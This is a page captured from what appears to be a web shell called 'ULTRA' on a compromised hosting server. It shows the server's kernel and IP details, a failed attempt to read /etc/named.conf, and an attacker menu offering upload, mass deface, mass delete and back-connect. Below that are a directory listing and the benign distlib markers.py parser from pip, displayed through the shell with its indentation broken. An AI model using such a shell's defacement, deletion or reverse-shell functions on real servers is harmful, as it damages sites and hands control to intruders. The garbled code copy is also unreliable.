ULTRA [ growontech.com ]

Linux premium216.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64

LiteSpeed

66.29.141.148 | Your IP: 3.142.200.79

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ proc / thread-self / root / opt / alt / python27 / lib / python2.7 / site-packages / pip / _vendor / distlib /

Home Upload Mass Deface Mass Delete Back Connect Notify

markers.py

# -*- coding: utf-8 -*-
#
# Copyright (C) 2012-2017 Vinay Sajip.
# Licensed to the Python Software Foundation under a contributor agreement.
# See LICENSE.txt and CONTRIBUTORS.txt.
#
"""
Parser for the environment markers micro-language defined in PEP 508.
"""

# Note: In PEP 345, the micro-language was Python compatible, so the ast
# module could be used to parse it. However, PEP 508 introduced operators such
# as ~= and === which aren't in Python, necessitating a different approach.

import os
import sys
import platform
import re

from .compat import python_implementation, urlparse, string_types
from .util import in_venv, parse_marker

__all__ = ['interpret']

def _is_literal(o):
    if not isinstance(o, string_types) or not o:
        return False
    return o[0] in '\'"'

class Evaluator(object):
    """
    This class is used to evaluate marker expessions.
    """

operations = {
        '==': lambda x, y: x == y,
        '===': lambda x, y: x == y,
        '~=': lambda x, y: x == y or x > y,
        '!=': lambda x, y: x != y,
        '<':  lambda x, y: x < y,
        '<=':  lambda x, y: x == y or x < y,
        '>':  lambda x, y: x > y,
        '>=':  lambda x, y: x == y or x > y,
        'and': lambda x, y: x and y,
        'or': lambda x, y: x or y,
        'in': lambda x, y: x in y,
        'not in': lambda x, y: x not in y,
    }

def evaluate(self, expr, context):
        """
        Evaluate a marker expression returned by the :func:`parse_requirement`
        function in the specified context.
        """
        if isinstance(expr, string_types):
            if expr[0] in '\'"':
                result = expr[1:-1]
            else:
                if expr not in context:
                    raise SyntaxError('unknown variable: %s' % expr)
                result = context[expr]
        else:
            assert isinstance(expr, dict)
            op = expr['op']
            if op not in self.operations:
                raise NotImplementedError('op not implemented: %s' % op)
            elhs = expr['lhs']
            erhs = expr['rhs']
            if _is_literal(expr['lhs']) and _is_literal(expr['rhs']):
                raise SyntaxError('invalid comparison: %s %s %s' % (elhs, op, erhs))

lhs = self.evaluate(elhs, context)
            rhs = self.evaluate(erhs, context)
            result = self.operations[op](lhs, rhs)
        return result

def default_context():
    def format_full_version(info):
        version = '%s.%s.%s' % (info.major, info.minor, info.micro)
        kind = info.releaselevel
        if kind != 'final':
            version += kind[0] + str(info.serial)
        return version

if hasattr(sys, 'implementation'):
        implementation_version = format_full_version(sys.implementation.version)
        implementation_name = sys.implementation.name
    else:
        implementation_version = '0'
        implementation_name = ''

result = {
        'implementation_name': implementation_name,
        'implementation_version': implementation_version,
        'os_name': os.name,
        'platform_machine': platform.machine(),
        'platform_python_implementation': platform.python_implementation(),
        'platform_release': platform.release(),
        'platform_system': platform.system(),
        'platform_version': platform.version(),
        'platform_in_venv': str(in_venv()),
        'python_full_version': platform.python_version(),
        'python_version': platform.python_version()[:3],
        'sys_platform': sys.platform,
    }
    return result

DEFAULT_CONTEXT = default_context()
del default_context

evaluator = Evaluator()

def interpret(marker, execution_context=None):
    """
    Interpret a marker and return a result depending on environment.

:param marker: The marker to interpret.
    :type marker: str
    :param execution_context: The context used for name lookup.
    :type execution_context: mapping
    """
    try:
        expr, rest = parse_marker(marker)
    except Exception as e:
        raise SyntaxError('Unable to interpret marker syntax: %s: %s' % (marker, e))
    if rest and rest[0] != '#':
        raise SyntaxError('unexpected trailing data in marker: %s: %s' % (marker, rest))
    context = dict(DEFAULT_CONTEXT)
    if execution_context:
        context.update(execution_context)
    return evaluator.evaluate(expr, context)

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/linksafe	drwxr-xr-x	2024-03-03 10:49:22
..	dir	-	root/linksafe	drwxr-xr-x	2024-03-03 10:49:22
_backport	dir	-	root/linksafe	drwxr-xr-x	2024-03-03 10:49:22
__init__.py	text/x-script.python	581 B	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
__init__.pyc	application/x-bytecode.python	1.75 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
compat.py	text/x-script.python	40.44 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
compat.pyc	application/x-bytecode.python	45.84 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
database.py	text/x-script.python	49.86 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
database.pyc	application/x-bytecode.python	54.92 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
index.py	text/x-script.python	20.57 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
index.pyc	application/x-bytecode.python	21.04 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
locators.py	text/x-script.python	50.88 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
locators.pyc	application/x-bytecode.python	50.74 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
manifest.py	text/x-script.python	14.46 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
manifest.pyc	application/x-bytecode.python	13.04 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
markers.py	text/x-script.python	4.28 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
markers.pyc	application/x-bytecode.python	7.46 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
metadata.py	text/x-script.python	38.05 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
metadata.pyc	application/x-bytecode.python	38.46 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
resources.py	text/x-script.python	10.51 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
resources.pyc	application/x-bytecode.python	16.64 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
scripts.py	text/x-script.python	16.78 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
scripts.pyc	application/x-bytecode.python	14.45 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
t32.exe	application/x-dosexec	94.5 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
t64.exe	application/x-dosexec	103.5 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
util.py	text/x-script.python	58.44 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
util.pyc	application/x-bytecode.python	70.11 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
version.py	text/x-script.python	22.84 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
version.pyc	application/x-bytecode.python	31.19 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
w32.exe	application/x-dosexec	88 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
w64.exe	application/x-dosexec	97.5 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
wheel.py	text/x-script.python	40.18 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11
wheel.pyc	application/x-bytecode.python	34.51 KB	root/linksafe	-rw-r--r--	2023-11-13 09:11:11